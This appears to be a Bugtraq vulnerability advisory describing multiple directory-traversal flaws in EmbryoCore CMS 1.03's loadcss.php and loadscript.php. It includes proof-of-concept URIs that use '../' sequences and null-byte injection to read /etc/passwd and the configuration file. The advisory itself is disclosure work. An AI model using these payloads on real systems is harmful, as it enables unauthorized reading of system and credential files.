EmbryoCore CMS 'loadcss.php' Multiple Directory Traversal Vulnerabilities
BID:54470
Info
EmbryoCore CMS 'loadcss.php' Multiple Directory Traversal Vulnerabilities
| Bugtraq ID: | 54470 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 16 2012 12:00AM |
| Updated: | Jul 16 2012 12:00AM |
| Credit: | Sammy Forgit |
| Vulnerable: |
EmbryoCore EmbryoCore 1.03 |
| Not Vulnerable: | |
Discussion
EmbryoCore CMS 'loadcss.php' Multiple Directory Traversal Vulnerabilities
EmbryoCore CMS is prone to multiple directory-traversal vulnerabilities because it fails to properly sanitize user-supplied input.
Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to retrieve arbitrary files in the context of the application.
Exploiting these issues may allow an attacker to obtain sensitive information that could aid in further attacks.
EmbryoCore 1.03 is vulnerable; other versions may also be affected.
EmbryoCore CMS is prone to multiple directory-traversal vulnerabilities because it fails to properly sanitize user-supplied input.
Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to retrieve arbitrary files in the context of the application.
Exploiting these issues may allow an attacker to obtain sensitive information that could aid in further attacks.
EmbryoCore 1.03 is vulnerable; other versions may also be affected.
Exploit / POC
EmbryoCore CMS 'loadcss.php' Multiple Directory Traversal Vulnerabilities
An attacker can exploit these issues through a browser.
The following example URIs are available:
http://www.example.com/embryocore1.03/libs/common/loadscript.php?j=./configuration.php%00
http://www.example.com/embryocore1.03/libs/common/loadscript.php?j=../../../../../../etc/passwd%00
http://www.example.com/embryocore1.03/libs/common/loadcss.php?c=../../../../../../etc/passwd%00
http://www.example.com/embryocore1.03/libs/common/loadcss.php?c=./configuration.php%00
An attacker can exploit these issues through a browser.
The following example URIs are available:
http://www.example.com/embryocore1.03/libs/common/loadscript.php?j=./configuration.php%00
http://www.example.com/embryocore1.03/libs/common/loadscript.php?j=../../../../../../etc/passwd%00
http://www.example.com/embryocore1.03/libs/common/loadcss.php?c=../../../../../../etc/passwd%00
http://www.example.com/embryocore1.03/libs/common/loadcss.php?c=./configuration.php%00
Solution / Fix
EmbryoCore CMS 'loadcss.php' Multiple Directory Traversal Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
EmbryoCore CMS 'loadcss.php' Multiple Directory Traversal Vulnerabilities
References:
References:
- EmbryoCore CMS Homepage (EmbryoCore)